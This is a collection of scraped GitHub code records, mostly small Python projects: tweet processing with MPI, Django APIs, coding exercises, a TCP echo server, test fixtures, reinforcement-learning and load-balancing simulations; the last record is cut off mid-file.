+{"seq_id":"33024703264","text":"import json\nfrom mpi4py import MPI\nimport re\nfrom collections import Counter\nimport pandas as pd\nimport numpy as np\nimport argparse\nimport time\nimport sys\nimport os\nfrom itertools import combinations\n\ngccs = [\n    \"Canberra\",\n    \"Sydney\",\n    \"Darwin\",\n    \"Brisbane\",\n    \"Adelaide\",\n    \"Hobart\",\n    \"Melbourne\",\n    \"Perth\",\n]\n\nstate_location = dict(\n    zip(\n        [\n            s.lower()\n            for s in [\n                \"Australian Capital Territory\",\n                \"New South Wales\",\n                \"Northern Territory\",\n                \"Queensland\",\n                \"South Australia\",\n                \"Tasmania\",\n                \"Victoria\",\n                \"Western Australia\",\n            ]\n        ],\n        [s.lower() for s in [\"ACT\", \"NSW\", \"NT\", \"QLD\", \"SA\", \"TAS\", \"VIC\", \"WA\"]],\n    )\n)\n\n\ndef return_words_ngrams(words: list) -> list:\n    \"\"\"\n    Return a list contains ngram words\n    \"\"\"\n    return [\n        \" \".join(c) for i in range(1, len(words) + 1) for c in combinations(words, i)\n    ]\n\ndef normalise_location(location: str) -> str:\n    \"\"\"\n    Normalise location where the location string should not\n    contains any puntuations also additional white spaces.\n    \"\"\"\n    text = re.sub(r\"[^\\w\\s]\", \"\", location)\n    text = re.sub(r\" - \", \"\", text)\n\n    if location.split(\",\")[0] in gccs:\n        text = location.split(\",\")[0].lower()\n\n    for key, value in state_location.items():\n        text = re.sub(key, value, text)\n\n    return re.sub(\" +\", \" \", text)\n\n\nINVALID_LOCATION = [\n    \"act australia\",\n    \"nsw australia\",\n    \"nt australia\",\n    \"qld Australia\",\n    \"sa australia\",\n    \"tas australia\",\n    \"vic australia\",\n    \"wa australia\",\n    \"australia\",\n]\n\nstart_time = time.time() \n\nparser = argparse.ArgumentParser(description='ass1_args')\nparser.add_argument('twitter_file_path', type=str, help='twitter_file_path')\nparser.add_argument('sal_path', type=str, help='sal_path')\nargs = parser.parse_args()\n\n# Initialize MPI\ncomm = MPI.COMM_WORLD\nrank = comm.Get_rank()\nsize = comm.Get_size()\n\nDATA_FILE = str('twitter_cleaned_' + str(rank) + '.json')\n\n# start the list if NO harvesting\nwith open(DATA_FILE, 'w', encoding='utf-8') as f:\n    f.write('[\\n')\n\nwith open(args.sal_path) as json_file:\n    sal_dict = json.load(json_file)\n\n# list for task 1,2,3\ntwid_lst = []\nauthor_lst = []\ncreated_time_lst = []\ntext_content_lst = []\nlocation_lst = []\ngcc_lst = []\n\n# Open the file\nwith open(args.twitter_file_path, 'rb') as f:\n    # seek for the corresponding chuck for the core to read\n    file_size = f.seek(0, 2)\n    chunk_size = file_size // size\n    start = rank * chunk_size\n    end = (rank + 1) * chunk_size\n    f.seek(start)\n\n    # read the file\n    finish_read = False\n    one_more_item = True\n    twid = None\n    author = None\n    created_time = None\n    text_content = None\n    location = None\n    gcc = None\n    while not finish_read:\n        curr_line = f.readline().decode()\n\n        if not curr_line:\n            # end of file\n            if (twid and author and created_time and text_content) and (not location):\n                # no position information for current item\n                # record the current item\n                # location_lst.append('')\n                # gcc_lst.append('')\n                location = ''\n                gcc = ''\n\n                # Append the new message to the JSON file\n                item = {\"_id\": twid.group(1),\n                        \"author_id\": author.group(1),\n                        \"created_at\": created_time.group(1),\n                        \"text\": text_content.group(1),\n                        \"location\": location,\n                        \"possible_suburb\": gcc}\n                with open(DATA_FILE, 'a', encoding='utf-8') as output_f:\n                    # Append the new message to the JSON file\n                    json.dump(item, output_f, indent=2, sort_keys=True, default=str)\n                    output_f.write(',\\n')\n\n            break\n\n        # try match tweet id\n        if not twid:\n            twid = re.search(r'\"_id\":\\s*\"([^\"]+)\"', curr_line)\n            continue\n            # if twid:\n            #     # twid_lst.append(twid.group(1))\n            #     continue\n        \n        # try match corresponding author\n        if twid and (not author):\n            author = re.search(r'\"author_id\":\\s*\"([^\"]+)\"', curr_line)\n            continue\n            # if author:\n            #     # author_lst.append(author.group(1))\n            #     continue\n\n        # try match corresponding created_time\n        if (twid and author) and (not created_time):\n            created_time = re.search(r'\"created_at\":\\s*\"([^\"]+)\"', curr_line)\n            continue\n            # if created_time:\n            #     # created_time_lst.append(created_time.group(1))\n\n        # try match corresponding text_content\n        if (twid and author and created_time) and (not text_content):\n            text_content = re.search(r'\"text\":\\s*\"([^\"]+)\"', curr_line)\n            continue\n            # if text_content:\n            #     # text_content_lst.append(text_content.group(1))\n\n        # try match corresponding location\n        if (twid and author and created_time and text_content) and (not location):\n            location = re.search(r'\"full_name\":\\s*\"([^\"]+)\"', curr_line)\n            if location:\n                # location_lst.append(location.group(1))\n                normalised_location = normalise_location(location.group(1).lower())\n                ngram_words = return_words_ngrams(normalised_location.split(\" \"))\n\n                for possible_location in ngram_words:\n                    if sal_dict.get(possible_location):\n                        gcc = {possible_location: sal_dict.get(possible_location)}\n                        # gcc_lst.append(gcc)\n                        break\n                \n                if not gcc:\n                    gcc = ''\n                    # gcc_lst.append('')\n                \n                # Append the new message to the JSON file\n                item = {\"_id\": twid.group(1),\n                        \"author_id\": author.group(1),\n                        \"created_at\": created_time.group(1),\n                        \"text\": text_content.group(1),\n                        \"location\": location.group(1),\n                        \"possible_suburb\": gcc}\n                with open(DATA_FILE, 'a', encoding='utf-8') as output_f:\n                    # Append the new message to the JSON file\n                    json.dump(item, output_f, indent=2, sort_keys=True, default=str)\n                    output_f.write(',\\n')\n\n                # reset and head to the next item\n                twid = None\n                author = None\n                created_time = None\n                text_content = None\n                location = None\n                gcc = None\n\n                if f.tell() >= end:\n                    finish_read = True\n                    break\n                else:\n                    continue\n\n\n            if re.search(r'\"_id\":\\s*\"([^\"]+)\"', curr_line):\n                # no position information for current item\n                # record the current item\n                # location_lst.append('')\n                # gcc_lst.append('')\n                location = ''\n                gcc = ''\n\n                # Append the new message to the JSON file\n                item = {\"_id\": twid.group(1),\n                        \"author_id\": author.group(1),\n                        \"created_at\": created_time.group(1),\n                        \"text\": text_content.group(1),\n                        \"location\": location,\n                        \"possible_suburb\": gcc}\n                with open(DATA_FILE, 'a', encoding='utf-8') as output_f:\n                    # Append the new message to the JSON file\n                    json.dump(item, output_f, indent=2, sort_keys=True, default=str)\n                    output_f.write(',\\n')\n\n                # reset and head to the next item\n                if f.tell() >= end:\n                    if one_more_item:\n                        # one more item to read\n                        twid = re.search(r'\"_id\":\\s*\"([^\"]+)\"', curr_line)\n                        author = None\n                        created_time = None\n                        text_content = None\n                        location = None\n                        gcc = None\n\n                        one_more_item = False\n                        continue\n                    else:\n                        finish_read = True\n                        break\n\n\n\n        if f.tell() >= end and not (twid or author or created_time or text_content or location):\n            # only stop when the current item is complete\n            finish_read = True\n            break\n\n# replace the last \",\\n\" with \"\\n]\" to end the list\nwith open(DATA_FILE, 'rb+') as f:\n  f.seek(-3, os.SEEK_END)\n  f.truncate()\n\nwith open(DATA_FILE, 'a') as f:\n  f.write('\\n]')\n\nread_end_time = time.time()\nprint(f\"Read time: {read_end_time - start_time} seconds at core {rank}\")\n\nsys.exit()","repo_name":"rNLKJA/Unimelb-Master-2023-COMP90024-Assignment-2","sub_path":"4_Python_data_processing/scripts/bigTwitterProcessingV0.py","file_name":"bigTwitterProcessingV0.py","file_ext":"py","file_size_in_byte":9016,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"8994306339","text":"from rest_framework import viewsets, status\nfrom rest_framework.response import Response\n\nfrom ..dsp.models.bid_request_model import BidRequestModel\nfrom ..dsp.models.bid_response_model import BidResponseModel\nfrom ..dsp.models.categories_model import CategoryModel\nfrom ..dsp.models.game_config_model import ConfigModel\nfrom ..serializers.bid_request_serializer import BidRequestSerializer, BidRequestCreateSerializer\nfrom ..serializers.bid_response_serializer import BidResponseSerializer\nfrom ..tools.calculator_v2 import calculate_bid_price\n\n\nclass BidViewSet(viewsets.ModelViewSet):\n    queryset = BidRequestModel.objects.all()\n    serializer_class = BidRequestSerializer\n\n    def create(self, request, *args, **kwargs):\n        \"\"\"\n        This function is used to create a bid request and calculate the bid price.\n\n        :param request:(Request): The request object containing the bid request data.\n\n        :return Response: The response object containing the serialized BidResponseModel data or a \"No-bid\" response if the bid price is zero.\n\n        :raise HTTPError: If the request is not valid.\n        \"\"\"\n        serializer = BidRequestCreateSerializer(data=request.data)\n        if serializer.is_valid():\n            bid_request_data = serializer.data\n\n            config = ConfigModel.objects.get(current=True)\n            if config.rounds_left <= 0:\n                return Response({\"error\": \"No rounds left.\"},\n                                status=status.HTTP_400_BAD_REQUEST)\n\n            bid_id = bid_request_data['id']\n            if BidRequestModel.objects.filter(bid_id=bid_id).exists():\n                return Response({\"error\": \"BidRequest with this bid_id already exists.\"},\n                                status=status.HTTP_400_BAD_REQUEST)\n\n            imp_data = bid_request_data['imp']\n            click_prob = bid_request_data['click']['prob']\n            conv_prob = bid_request_data['conv']['prob']\n            site_domain = bid_request_data['site']['domain']\n            ssp_id = bid_request_data['ssp']['id']\n            user_id = bid_request_data['user']['id']\n            blocked_categories = bid_request_data['bcat']\n\n            b_category_codes = {code.replace('_', '') for code in blocked_categories}\n            b_categories = CategoryModel.objects.filter(code__in=b_category_codes)\n\n            bid_request = BidRequestModel.objects.create(\n                bid_id=bid_id,\n                banner_width=imp_data['banner']['w'],\n                banner_height=imp_data['banner']['h'],\n                click_probability=click_prob,\n                conversion_probability=conv_prob,\n                site_domain=site_domain,\n                ssp_id=ssp_id,\n                user_id=user_id,\n                config=config\n            )\n            bid_request.blocked_categories.set(b_categories)\n\n            price, creative = calculate_bid_price(bid_request)\n            config.rounds_left -= 1\n            config.save()\n\n            if price:\n                bid_response = BidResponseModel.objects.create(\n                    external_id=creative.external_id, price=price,\n                    image_url=creative.url, bid_request=bid_request)\n                bid_response.categories.set(creative.categories.all())\n\n                serializer = BidResponseSerializer(bid_response)\n                return Response(serializer.data, status=status.HTTP_200_OK)\n            else:\n                return Response('No-bid', status=status.HTTP_204_NO_CONTENT)\n        else:\n            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n","repo_name":"vardanyan1/tDSP_Iponweb","sub_path":"django/src/tdsp/api/bid_request_api.py","file_name":"bid_request_api.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24053418673","text":"#body mass index\nheight_cm=160\nweight_kg=99\n\n#height in meter=cm/100\n#bmi=(weight(kg)/height(m^2))cm\n\nheight_in_m=height_cm/100\nbmi=(weight_kg//height_in_m**2)\nprint(\"BMI=\",bmi)\n\nif(bmi<=19):\n    print(\"Under weight\")\nelif(bmi<=25):\n    print(\"Normal weight\")\nelif(bmi<=30):\n    print(\"Over weight\")\nelse:\n    print(\"Obesity\")\n","repo_name":"anju-akhil/python_works_luminar","sub_path":"pythonworks/python_works/decision_making/bmi.py","file_name":"bmi.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21647197469","text":"import csv\nfrom django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom .models import *\nfrom rest_framework.response import Response\nfrom rest_framework.parsers import MultiPartParser, FormParser\nfrom .serializer import *\nfrom rest_framework import status\nfrom django.http import Http404\n\n\n# Create your views here.\n\nclass StoreView(APIView):\n    \"\"\"\n    List all stores, or create a new snippet.\n    \"\"\"\n    parser_classes = (FormParser, MultiPartParser)\n    serializer_class = StoreSerializer\n\n    def get(self, request, format=None):\n        stores = Store.objects.all()\n        serializer = StoreSerializer(stores, many=True)\n        return Response(serializer.data)\n\n    # def get(self, request):\n    #     store = [{\"id\":store.id, \"sku\": store.sku, \"productName\": store.productName, \"price\": store.price,\n    #               \"date\": store.updated_at}\n    #              for store in Store.objects.all()]\n    #     return Response(store)\n\n    def post(self, request):\n\n        try:\n            file = request.FILES['file']\n            decoded_file = file.read().decode('utf-8').splitlines()\n            reader = csv.DictReader(decoded_file)\n            objects = []\n            i = 1\n            for row in reader:\n                print(row)\n                if i == 1:\n                    dict_keys = list(row.keys())\n                    print(dict_keys)\n                    objects.append(Store(\n                        sku=dict_keys[1],\n                        productName=dict_keys[2],\n                        price=dict_keys[3]\n                    ))\n                dict_values = list(row.values())\n                objects.append(Store(\n                    sku=dict_values[1],\n                    productName=dict_values[2],\n                    price=dict_values[3]\n                ))\n                i += 1\n            Store.objects.bulk_create(objects)\n            return Response({\"success\": \"success\"}, status=status.HTTP_201_CREATED)\n        except:\n            return Response({'error': \"error\"}, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass StoreDetail(APIView):\n    \"\"\"\n    Retrieve, update or delete a snippet instance.\n    \"\"\"\n\n    def get_object(self, pk):\n        try:\n            return Store.objects.get(pk=pk)\n        except Store.DoesNotExist:\n            raise Http404\n\n    def put(self, request, pk, format=None):\n        store = self.get_object(pk)\n        serializer = StoreSerializer(store, data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n    def delete(self, request, pk, format=None):\n        store = self.get_object(pk)\n        store.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n","repo_name":"akshay-a005/retail-store-project","sub_path":"retail_store_be/store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"13925695040","text":"T = int(input())\npattern = [\"ZRO\", \"ONE\", \"TWO\", \"THR\", \"FOR\", \"FIV\", \"SIX\", \"SVN\", \"EGT\", \"NIN\"]\nfor tc in range(1, T+1):\n    n = input()\n    lst = list(input().split()) #숫자가 아니니까 map 쓸 필요 없다\n\n    print('f#{tc}', end=' ')\n    for p in pattern:\n        #lst에서 p랑 같은 것을 출력해라\n        for s in lst:\n            if p == s:\n                print(s, end=' ')\n    print()\n\n","repo_name":"seongbiny/algorithm","sub_path":"SWEA/1221t.py","file_name":"1221t.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"829416653","text":"# -*- coding: utf-8 -*-\nfrom pymongo import MongoClient\nfrom sentiment_request import *\n\n# Script for importing quotes from a cleaned text to the appropriate database after\n# determining the quote's sentiments\n\n# Sets up the database\nclient = MongoClient()\ncoll = client.buddE.motivational_quotes\n\n# Opens and reads all lines of the cleaned text file (1 quote per line)\nf = open('cleaned_text.txt', 'r')\nlines = f.readlines()\nf.close()\n\ndef getSentiment(s):\n    \"\"\" gets sentiment score from Microsoft Text Analysis API \"\"\"\n    result = RequestSentiment(s).get_sentiment()\n    print(result)\n    score = ''\n    for character in result:\n        if character.isdigit():\n            score += character\n            if len(score) == 1:\n                score += '.'\n    score = float(score)\n    return score\n\n# Add all quotes with a sentiment score above the cut-off to the database\ncurr = 0\nwhile curr < len(lines):\n    quote = lines[curr]\n    print(quote)\n    score = getSentiment(quote)\n    if score > 0.9:\n        try:\n            coll.insert_one({\"_id\": quote})\n        except Exception as e:\n            print(\"This error occurred:\", e)\n            pass\n    curr += 1\n","repo_name":"swarelle/buddE","sub_path":"db_import.py","file_name":"db_import.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35768419878","text":"from socket import *\nimport sys\n\nif len(sys.argv) != 3:\n    print(\"Le nombre d'argument fourni n'est pas le bon merci de préciser l'IP et le port.\")\n    sys.exit(-1)\n\ntry:\n    host = sys.argv[1]\n    port = int(sys.argv[2])\n    mysocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)\n    mysocket.bind(('', port))\n    mysocket.listen(1)\nexcept:\n    print(\"Erreur lors de la création du socket\")\n    sys.exit(-2)\n\n# On attend, avec un client au plus dans la file d’attente.\n(socket2, adresse_client) = mysocket.accept()\n\ntry:\n    message = socket2.recv(60)\nexcept:\n    print(\"Erreur lors de la réception du message.\")\n    sys.exit(-3)\n\nprint(\"Voici l'IP et le port du client : \")\nprint(adresse_client)\n\ntry:\n    socket2.send(bytes(str(message, \"utf-8\").upper(), \"utf-8\"))\nexcept:\n    print(\"Erreur lors de l'envoi du message.\")\n    sys.exit(-4)\n\ntry:\n    socket2.close()\n    mysocket.close()\nexcept:\n    print(\"Erreur lors de la fermeture du socket.\")\n    sys.exit(-5)\n\nsys.exit(0)","repo_name":"Amaroke/ArchivesS6","sub_path":"Réseau/TP4/PREMIER RENDU/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14831014606","text":"#!/usr/bin/python\nfrom __future__ import print_function\n\nimport glob\nimport numpy as np\n\nif __name__ == '__main__':\n\timport argparse\n\tap = argparse.ArgumentParser()\n\tap.add_argument(\"bin_files\", nargs=\"+\", help = \"binary files\")\n\n\targs = ap.parse_args()\n\n\tfor fspec in args.bin_files:\n\t\tfor bf in glob.glob(fspec):\n\t\t\ttry:\n\t\t\t\ta = np.fromfile(bf, dtype=np.uint16)\n\t\t\t\tprint(bf, \": \",np.min(a), np.max(a))\n\t\t\texcept Exception as e:\n\t\t\t\tprint(e)\n","repo_name":"q-gao/ImageProcessing","sub_path":"Python/CalcMinMaxBinaryFiles.py","file_name":"CalcMinMaxBinaryFiles.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6590783336","text":"from functools import reduce\nfrom collections import defaultdict\nfrom itertools import product, combinations, permutations\n\n# strings\nlines = [l.strip() for l in open('input') if l]\nvalues = [v for v in lines]\n\n\n# parts\ndef part1():\n    points = {\n        ')': 3,\n        ']': 57,\n        '}': 1197,\n        '>': 25137\n    }\n\n    pairs = {\n        ')': '(',\n        ']': '[',\n        '}': '{',\n        '>': '<',\n    }\n\n    result = 0\n\n    def process_line(value):\n        found_brackets = []\n        for bracket in list(value):\n            if bracket not in pairs:\n                found_brackets.append(bracket)\n            else:\n                previous_open_bracket = found_brackets.pop()\n                if previous_open_bracket != pairs[bracket]:\n                    return points[bracket]\n        return 0\n\n    for value in values:\n        result +=  process_line(value)\n\n    return result\n\n\ndef part2():\n    points = {\n        ')': 1,\n        ']': 2,\n        '}': 3,\n        '>': 4\n    }\n\n    pairs = {\n        '(': ')',\n        '[': ']',\n        '{': '}',\n        '<': '>',\n    }\n\n    closing_pairs = {\n        ')': '(',\n        ']': '[',\n        '}': '{',\n        '>': '<',\n    }\n\n    scores = []\n\n    def process_line(value):\n        found_brackets = []\n        for bracket in list(value):\n            if bracket not in closing_pairs:\n                found_brackets.append(bracket)\n            else:\n                previous_open_bracket = found_brackets.pop()\n                if previous_open_bracket != closing_pairs[bracket]:\n                    return 0\n\n        score = 0\n\n        found_brackets.reverse()\n\n        for bracket in found_brackets:\n            score *= 5\n            score += points[pairs[bracket]]\n\n        return score\n\n    for value in values:\n        score =  process_line(value)\n        if score != 0:\n            scores.append(score)\n\n    scores.sort()\n    return scores[int((len(scores) - 1) / 2)]\n\n\nprint('Part 1: ', part1())\nprint('Part 2: ', part2())\n","repo_name":"victorkirov/aoc","sub_path":"2021/10/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"7183508698","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nfrom tests.E2E.config import timeout, base_url\nfrom tests.E2E.page_object.common_page import CommonPage\n\n\n@pytest.fixture()\ndef driver():\n    driver = webdriver.Chrome('../chromedriver')\n    driver.maximize_window()\n    driver.get(base_url)\n    yield driver\n    driver.quit()\n\n\n@pytest.fixture()\ndef open_login_page(driver):\n    common_page = CommonPage(driver)\n    common_page.login.click()\n    login_hudl = WebDriverWait(driver, timeout=timeout).until(lambda x: common_page.login_hudl)\n    login_hudl.click()\n","repo_name":"AlenaSY/Hudl","sub_path":"tests/E2E/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37538889105","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Oct 31 13:10:22 2020\r\n\r\nMain code for CS841 Project\r\n\r\nHere, the intereaction between environment, agent\r\nresults, and data vizualization take place\r\n\r\n@author: Juan Rios\r\n\"\"\"\r\n# %% Load the dependencies and Hyperparameters\r\nfrom Environment import Environment\r\nfrom BayesianAgent import BayesianAgent\r\nfrom Epsilon import Epsilon\r\n\r\n# FUTURE WORK: \r\n# 1. add bayesian learning\r\n\r\n\r\n# TO DO for project\r\n# train a Q learning anget and Bayesian agent, with certian information and plot performance w/ baseline random\r\n# Train a Q learning agent and Bayesian agent, with uncertainty and plot performance w/ baseline random\r\n# train a number of Q learning agents, and plot the time gaps, compare to experiment in paper\r\n# train a number of bayesian learning agents and plot time gaps, compare to experiment in paper\r\n\r\n\r\n\r\n# HYPERPARAMETERS:\r\n# This code section provides the adjustable hyper parameters for ruinning this simulation\r\n\r\n# World params\r\nfullObs = False; # Describes whether an agent observed the true state, or a probabilistic approximation\r\nnumCols = 13 # describes the world size, in terms of the length of the road the car can transverse\r\n\r\n# Agent params\r\nlearnRate = 0.01 # The learning rate of the agents\r\ne = Epsilon(1, 0.01, 0.001) # epsilon greedy strategy\r\ngamma = 0.99 # The discount rate of future rewards\r\nagentXtime = 5 # time it takes the agent to cross the street\r\n\r\n# training and testing\r\nnumTraining = 300; # number of training simulations\r\nnumTesting = 2000 # number of testing simulations\r\ntimeIntTrain = 1 # how many training trials to perfom before minitesting\r\ntimeIntTest = 50 # the num of test trials to wait at test time before collecting data\r\nnumTests = 200 # the number of trials at each mini test\r\n\r\n\r\n# %% Initialize the agents, the world, and begin training\r\n\r\n# init the list to hold the training scores\r\ntrainScores = []\r\n# create the world\r\nWorld = Environment(numCols)\r\n\r\n# create the agents\r\nbAgent = BayesianAgent(agentXtime, \"Bayesian\", learnRate, e, gamma, numCols)\r\nqAgent = BayesianAgent(agentXtime, \"Q-learning\", learnRate, e, gamma, numCols)\r\nrAgent = BayesianAgent(agentXtime, \"Random\", learnRate, e, gamma, numCols)\r\n\r\n# trian and test the agent\r\ntrainScore  = World.train(numTraining, fullObs, bAgent, timeIntTrain, numTests)\r\ntrainScores.append(trainScore)\r\n\r\ntrainScore = World.train(numTraining, fullObs, qAgent, timeIntTrain, numTests)\r\ntrainScores.append(trainScore)\r\n\r\ntrainScore  = World.train(numTraining, fullObs, rAgent, timeIntTrain, numTests)\r\ntrainScores.append(trainScore)\r\n\r\n\r\n\r\n\r\n\r\n# %% Plot the agents train performance\r\n\r\nlabels = [\"Bayesian learning\", \"Q learning\", \"no learning\"]\r\nWorld.plotTrainScores(numTraining, trainScores, labels)\r\n\r\n\r\n\r\n# %% Test the agents\r\n\r\nWorld.test(numTesting, fullObs, bAgent, timeIntTest)\r\nWorld.test(numTesting, fullObs, qAgent, timeIntTest)\r\nWorld.test(numTesting, fullObs, rAgent, timeIntTest)\r\n\r\n\r\n# %% Plot the agents test performance\r\n\r\nagentList = []\r\nagentList.append(bAgent)\r\nagentList.append(qAgent)\r\nagentList.append(rAgent)\r\nlabels = [\"Bayesian\", \"Q\", \"Random\"]\r\nWorld.plotScores(numTesting, agentList, labels)\r\n\r\n\r\n# %% Testing\r\nimport numpy as np\r\nimport math\r\n\r\n# a multitude of agents are trained, and their behavior collected\r\n\r\nmode = \"Bayesian\"\r\nfullObs = False\r\nWorld = Environment(numCols)\r\nObs = np.zeros((2,0))# a list to hold the timegap, action park\r\nt = 0\r\nnumTests = 1\r\n\r\nwhile t < 311:\r\n    \r\n    # pick a random crosstime\r\n    agentXtime = round(np.random.uniform(2,5))\r\n    # make the learning agent\r\n    agent = BayesianAgent(agentXtime, mode, learnRate, e, gamma, numCols)\r\n    trainScore  = World.train(numTraining, fullObs, agent, timeIntTrain, numTests)\r\n    \r\n    # generate world\r\n    state = World.genWorld(agent)\r\n    done = False\r\n    \r\n    while not done:\r\n        \r\n        # agent chooses action based on the observed time-gap\r\n        agent.selectAction(state, math.inf, fullObs)\r\n        if agent.getAction() == agent.getPossibleActions()[1]:\r\n            # each time step, the crossing time to arrive at the goal is diminshed by 1\r\n            agent.cross()\r\n            done = True\r\n        # world exceucutes action\r\n        nextState = World.step(state)\r\n         \r\n        Obs = np.append(Obs, [[agent.getAction() - 1],[state]], axis = 1)\r\n        \r\n        \r\n        t = t + 1\r\n        \r\n        state = nextState\r\n        \r\n        if state == 0:\r\n            done = True\r\n                \r\n # %% Fitting the data to logistic function\r\nfrom sklearn import linear_model\r\nfrom scipy.special import expit   \r\nimport matplotlib.pyplot as plt    \r\n        \r\n\r\nX = Obs[1,:].reshape(-1, 1)\r\ny = Obs[0,:]\r\n# Fit the classifier\r\nclf = linear_model.LogisticRegression(C=1e5)\r\nclf.fit(X, y)\r\nplt.clf()\r\nplt.scatter(X.ravel(), y, color='black', zorder=20)\r\nX_test = np.linspace(0, 12, 300)\r\n\r\nloss = expit(X_test * clf.coef_ + clf.intercept_).ravel()\r\nplt.plot(X_test, loss, color='red', linewidth=3)\r\nplt.title(\"Crossing Behavior for \" + mode)\r\nplt.ylabel(\"action probability\")\r\nplt.xlabel(\"time gap (s)\")\r\nplt.show()\r\n\r\n\r\n\r\n# %% Finding the midpoint\r\n\r\nprobs = clf.predict_proba(X_test.reshape(-1,1))\r\n\r\n\r\n","repo_name":"Jsrios29/Bayesian-Q-Learning","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5205,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"74606143787","text":"import sys\nimport random\nfrom math import floor\nimport time\n\n# Note: when we say current, we mean the processor whose load balancing activity it is currently\n# and we are checking the left neighbor (left processor) and right neighbor (right processor) of this processor.\n\n\n# generate a uniformly distributed random number between the low and high input values\ndef generate_random_number(low, high):\n    return int(round(random.uniform(low, high)))\n\n\n# check if both neighbors are balanced.\n# balance among neighbours is reached when the neighbors on both sides' load units\n# differ by 2 or less with the processor we are checking\ndef balanced_among_neighbors(left_neighbor, curr, right_neighbor):\n    if abs(left_neighbor - curr) > 2 or abs(right_neighbor - curr) > 2:\n        return False\n    return True\n\n\n# check if the load units of two neighboring processors are balanced\n# balanced is when the load units differ by 2 or less\ndef balanced_neighbors(neighbor, curr):\n    if curr - neighbor > 2:\n        return False\n    return True\n\n\n# check for overall system balance\n# system is balanced when every processor differs by at most 2 load units with its two neighbors\n# if every processor fulfills the above condition, overall system balance is reached\ndef balanced_system():\n    for i in range(len(processor_data)):\n        # get the left, current and right processor load values\n        if i == 0:\n            left_neighbor_load = processor_data[len(processor_data) - 1][0]\n            right_neighbor_load = processor_data[i + 1][0]\n        elif i == len(processor_data) - 1:\n            left_neighbor_load = processor_data[i - 1][0]\n            right_neighbor_load = processor_data[0][0]\n        else:\n            left_neighbor_load = processor_data[i - 1][0]\n            right_neighbor_load = processor_data[i + 1][0]\n        curr_load = processor_data[i][0]\n\n        # if neighbors are not balanced, we return false to continue balancing\n        if abs(curr_load - left_neighbor_load) > 2 or abs(right_neighbor_load - curr_load) > 2:\n            return False\n    return True\n\n\n# check whether the termination conditions (overall system balanced or time limit exceeded) are met\ndef check_termination():\n    # check overall system balance\n    if balanced_system():\n        print(\"Number of cycles executed: \" + str(time_index))\n        print(\"The balanced matrix: \" + str(processor_data))\n        exit(0)\n\n    # check time limit exceeded\n    end_time = time.time()\n    if (end_time - start_time) / 60 >= 5:\n        print(\"Time limit exceeded\")\n        print(\"Number of cycles executed: \" + str(time_index))\n        print(\"The final matrix: \" + str(processor_data))\n        exit(0)\n\n\n#  get the balance between the left and the current neighbor\ndef left_balance(left, current):\n    avg = floor((left + current) / 2)\n    num_to_give = current - avg\n    left = left + num_to_give\n    current = current - num_to_give\n    return left, current\n\n\n#  get the balance between the right and the current neighbor\ndef right_balance(right, current):\n    avg = floor((right + current) / 2)\n    num_to_give = current - avg\n    right = right + num_to_give\n    current = current - num_to_give\n    return right, current\n\n\n# get the indices of the neighbours to get the load values\ndef get_neighbor_indices(proc_index):\n    if proc_index == 0:\n        left_idx = len(processor_data) - 1\n        right_idx = proc_index + 1\n    elif proc_index == len(processor_data) - 1:\n        left_idx = proc_index - 1\n        right_idx = 0\n    else:\n        left_idx = proc_index - 1\n        right_idx = proc_index + 1\n    return left_idx, right_idx\n\n\n# get number of processors from the input argument\nnumber_of_processors = int(sys.argv[1])\n\n# initialise the processor matrix\nprocessor_data = [[0 for i in range(2)]] * number_of_processors\n\n# generate initial random load and time interval values respectively in the processor matrix\nfor i in range(0, number_of_processors):\n    processor_data[i] = [generate_random_number(10, 1000), generate_random_number(100, 1000)]\n\nprint(\"The initial matrix: \" + str(processor_data))\n\n# start timing so we can break out of the run if system is taking a long time to converge\nstart_time = time.time()\n\ntime_index = 100\n\n# loop representing the run to balance the system\nwhile True:\n    # loop through every processor and check if time interval of processor matches the current time interval\n    for proc_idx in range(len(processor_data)):\n        if processor_data[proc_idx][1] == time_index:\n            # set the next time interval value of the processor (current time value + random number)\n            processor_data[proc_idx][1] += generate_random_number(100, 1000)\n\n            # get the indices of the neighbours to get the load values\n            left_index, right_index = get_neighbor_indices(proc_idx)\n\n            # get load values from processor array\n            left_load = processor_data[left_index][0]\n            current_load = processor_data[proc_idx][0]\n            right_load = processor_data[right_index][0]\n\n            # if the neighbors are not balanced, then we need to do the balancing\n            if not balanced_among_neighbors(left_load, current_load, right_load):\n  